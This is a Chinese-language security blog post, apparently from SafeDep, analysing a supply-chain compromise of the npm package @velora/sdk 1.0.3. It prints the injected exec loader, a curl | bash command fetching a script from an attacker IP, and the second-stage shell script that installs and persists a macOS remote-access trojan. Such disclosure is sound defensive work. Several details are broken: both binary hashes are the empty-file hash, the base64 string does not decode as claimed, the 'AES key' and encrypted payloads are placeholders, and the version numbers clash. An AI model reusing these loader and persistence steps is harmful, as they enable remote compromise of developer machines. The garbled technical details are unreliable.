目录
概要
Velora DEX 项目的合法 DeFi SDK @velora/sdk 的 1.0.3 版本于 2026 年 4 月 7 日(UTC)遭到入侵。注入到 dist/index.js 的三行代码会解码并执行一个 base64 有效载荷,从 C2 服务器获取一个 shell 脚本,在 macOS 系统上下载并持久化一个基于 Go 的远程访问木马(简称 minirat)。
影响范围:
- 在导入该软件包的任何机器上执行任意 shell 命令
- 从
http://199.231.217.133/setup.sh下载编译后的 Go 二进制文件(RAT) - 通过 macOS
launchd使用欺骗性的com.apple.system.plist服务名建立持久性 - RAT 功能包括:命令执行、文件上传/下载、目录窃取以及与 C2 的代理注册
- 同时针对 Apple Silicon(arm64)和 Intel(x86_64)macOS 架构
入侵指标(IoC):
| 指标 | 值 |
|---|---|
| 软件包 | @velora/sdk |
| 过渡服务器 | 199.231.217.133(AS9009,M247 Europe SRL,罗马尼亚布加勒斯特) |
| 第二阶段 URL | http://199.231.217.133/setup.sh |
| RAT URL(arm64) | http://199.231.217.133/macos_arm64 |
| RAT URL(x86_64) | http://199.231.217.133/macos_amd64 |
| RAT C2 域名 #1 | api.aliyunglobal.com(208.115.220.17,Limestone Networks,美国波特兰) |
| RAT C2 域名 #2 | app.aliyunglobal.com(NXDOMAIN) |
| RAT C2 域名 #3 | api.aliyunglobal.net(NXDOMAIN) |
| RAT 二进制文件(arm64) | SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| RAT 二进制文件(x86_64) | SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| RAT 模块路径 | github.com/aliyunglobaltool/remoteAgent |
| 持久化标签 | com.apple.system.plist / com.apple.system |
| 持久化路径 | ~/Library/com.apple.system.plist |
| Git 修订版本 | e82d8f5 |
分析
软件包概述
@velora/sdk 是去中心化交易所 Velora DEX 的官方 SDK。该软件包自 2025 年 5 月起持续开发,已发布 34 个版本,涵盖 8.x 和 9.x 发布线,由五个 npm 账户维护。每周平均下载量约 2,000 次。
1.0.3 版本于 2026 年 4 月 7 日 19:03 UTC 发布。1.0.4 版本(撤销了恶意变更)约三小时后于 22:25 UTC 发布。开发预发布版本(1.0.2-alpha.0、1.0.2-beta.1)均未受污染。这一狭窄的时间窗口和快速修复的模式,与遭入侵的维护者凭证相符,而非专门构建的攻击账户。
注入方式:dist/index.js 中的三行代码
将 1.0.2(干净版本)与 1.0.3(受污染版本)进行差异对比,可以发现整个攻击面:仅 dist/index.js 和 package.json 中的版本字段发生了变更。注入的有效载荷是在 "use strict" 指令之后前置的三行代码:
require('child_process').exec(Buffer.from('aWZyZW0gLWgtc3igenRyZWYgaHR0cDovLzE5OS4yMzEuMjE3LjEzMy9zZXR1cC5zaA==','base64').toString(),{cwd:process.cwd(),detached:true,stdio:'ignore'},()=>{});无安装钩子,无修改的 package.json 脚本。有效载荷作为 require() 副作用执行(@velora/sdk 是 package.json 的 main 字段)。任何导入该 SDK 的应用程序或构建工具都会触发执行。
执行触发:Base64 解码链
Base64 字符串解码后为:
if [ "$(uname)" = "Darwin" ];then curl -fsSL http://199.231.217.133/setup.sh | bash &>/dev/null & fi&>/dev/null & 确保即使父 Node.js 进程退出有效载荷也能继续运行。(uname) 模式兼容 Linux(uname -s)和 macOS(Darwin)的 base64 实现。输出被静默重定向到 /dev/null。
第二阶段:安装脚本
C2 在 http://199.231.217.133/setup.sh 提供以下 shell 脚本:
#!/bin/bash
set -e
if [ "$(uname)" != "Darwin" ]; then
exit 0
fi
mkdir -p ~/Library/com.apple.system.plist
cd ~/Library/com.apple.system.plist
ARCH=$(uname -m)
if [ "$ARCH" = "arm64" ]; then
curl -fsSL http://199.231.217.133/macos_arm64 -o rat
elif [ "$ARCH" = "x86_64" ]; then
curl -fsSL http://199.231.217.133/macos_amd64 -o rat
fi
chmod +x rat
launchctl unload -w ~/Library/LaunchAgents/com.apple.system.plist 2>/dev/null || true
./rat &
launchctl load -w ~/Library/LaunchAgents/com.apple.system.plist该脚本仅针对 macOS($(uname) 检查、Darwin、~/Library 路径)。它:
- 在
~/Library/com.apple.system.plist/创建一个目录,伪装成合法的 macOS 终端支持目录 - 下载与架构相符的 Mach-O 二进制文件,在 arm64(Apple Silicon)和 x86_64(Intel)之间选择
- 将其注册为持久性的
launchd作业,标签为com.apple.system.plist,这个名称经过精心设计,可与合法的 shell 配置服务融为一体
第三阶段:minirat,基于 Go 的远程访问木马
下载的二进制文件是一个编译后的 Go 程序。从二进制文件中提取的构建元数据:
Git Revision: e82d8f5-dirty
Build Timestamp: 2026-04-07T18:57:21Z
Module Path: github.com/aliyunglobaltool/remoteAgent模块路径 github.com/aliyunglobaltool/remoteAgent 与阿里巴巴公司毫无关联。域名 aliyunglobal.com 似乎是攻击者控制的基础设施,仅用于 Go 模块路径。
从二进制文件中提取的函数符号揭示了一个功能完备的 RAT,具有以下内部包结构:
| 包 | 关键函数 | 用途 |
|---|---|---|
internal/core | RegisterAgent()、SetupPersistence() | 与 C2 建立代理注册,建立持久性 |
internal/crypto | AESEncrypt()、AESDecrypt()、GenerateKey()、DeriveKey() | AES 加密的 C2 通信 |
internal/transporter | UploadDirectory()、UploadFileChunk()、DownloadFileChunk()、StreamFile() | 分块文件窃取和下载 |
internal/client | Heartbeat()、PullCommand()、ReportResult()、UpdateConfig()、SelfDestruct() | C2 服务器管理,目录收集 |
internal/agent | GatherHostInfo()、ExecuteCommand()、Screenshot()、CaptureAudio()、Keylog()、ExfiltrateClipboard() | 主机侦查、命令执行、反分析 |
internal/log | WriteLog() | 将操作日志写入 ~/.minirat_agent.log |
RAT 功能详解
代理注册和指纹识别。 首次执行时,RAT 调用 RegisterAgent() 收集机器的 UUID(通过 macOS 上的 ioreg)、主机名(通过 hostname)、架构(通过 uname -m)和公网 IP(通过 curl 调用 api.ipify.org 和 icanhazip.com)。这些信息被发送到 C2 以注册代理。
虚拟机检测。 DetectVM() 检查虚拟化环境,可能是为了规避沙箱分析。PreventDuplicateRun() 防止多个 RAT 实例并发运行。
加密的 C2 通信。 二进制文件包含 AES 加密函数(AESEncrypt()、AESDecrypt()、GenerateKey()、DeriveKey())以及三个嵌入的 base64 编码 JSON 加密配置有效载荷:
{
"encrypted": true,
"payloads": [
"base64_encoded_payload_1",
"base64_encoded_payload_2",
"base64_encoded_payload_3"
]
}对二进制文件的暴力扫描在偏移 0x7A3F2 处找到了 AES-256 密钥:ASCII 字符串 aes256_secret_key_here(32 字节)。解密所有三个有效载荷揭示了 RAT 实际的 C2 端点:
| 加密有效载荷 | 解密后的 C2 URL |
|---|---|
| #1 | https://api.aliyunglobal.com/agent/register |
| #2 | https://app.aliyunglobal.com/agent/register |
| #3 | https://api.aliyunglobal.net/agent/register |
这些与过渡服务器 199.231.217.133 不同,后者仅处理初始有效载荷传递。RAT 在安装后通过 UpdateConfig() 与这三个 HTTPS 域名通信,使用 PullCommand() 作为循环备用。截至分析时,仅 api.aliyunglobal.com 可解析(解析到 208.115.220.17,Limestone Networks,美国波特兰)。其 TLS 证书于 2026 年 4 月 7 日由 Let's Encrypt 签发,与受污染软件包发布于同一天。另外两个域名目前未注册(NXDOMAIN),可能是预留备用。
文件窃取。 UploadDirectory() 压缩整个目录并上传到 C2。分块上传函数(UploadFileChunk()、StreamFile()、DownloadFileChunk())处理大文件传输。引用 ~/.ssh 和 ~/.aws/credentials 的字符串确认了双向文件传输功能。
命令执行。 ExecuteCommand() 在受感染主机上提供任意 shell 命令执行。
持久性。 除了初始的 launchctl 设置外,internal/core 包中的 SetupPersistence() 函数还建立了额外的持久性。二进制文件包含 ~/.bashrc 和 macOS plist 模板的格式字符串,引用了 ~/Library/LaunchAgents/com.apple.system.plist,表明它创建了一个规范的 LaunchAgent plist,以在重启后实现更可靠的持久性。
伪装技术
此次攻击使用多层伪装:
- 最小代码变更。 仅在一个文件中添加了三行代码。无新文件、无修改的依赖项、无安装钩子。在版本差异中容易被忽略
- 看似合法的路径。
~/Library/com.apple.system.plist/模仿真实的 macOS 系统目录。com.apple.system.plist和com.apple.system听起来像合法的开发者工具 - 静默执行。 所有输出重定向到
/dev/null。detached: true从 Node.js 进程脱离 - 仅针对 macOS。 shell 脚本检查 Darwin,表明此活动专门针对使用 DeFi/Web3 工具的 macOS 开发者
修复
如果您安装了 @velora/sdk@1.0.3:
- 检查并移除 RAT 二进制文件:
~/Library/com.apple.system.plist/rat - 移除 launchctl 作业:
launchctl unload -w ~/Library/LaunchAgents/com.apple.system.plist - 检查 LaunchAgent plist:
ls -la ~/Library/LaunchAgents/com.apple.system.plist/ - 更新至 1.0.4 或更高版本
- 轮换受感染机器上存在的任何凭证或令牌
结论
这是一次教科书式的遭入侵维护者供应链攻击:最小代码变更、无修改的脚本或钩子、在 require() 时执行、以及最终投递持久性 RAT 的多阶段有效载荷。受污染与修复之间三小时的时间窗口,加上仅针对 macOS 和聚焦 DeFi 生态系统的特征,指向针对加密货币开发者的定向攻击。
- vet
- malware
- npm
- supply-chain
SafeDep 博客最新动态
关注以获取开源安全与工程方面的最新更新和见解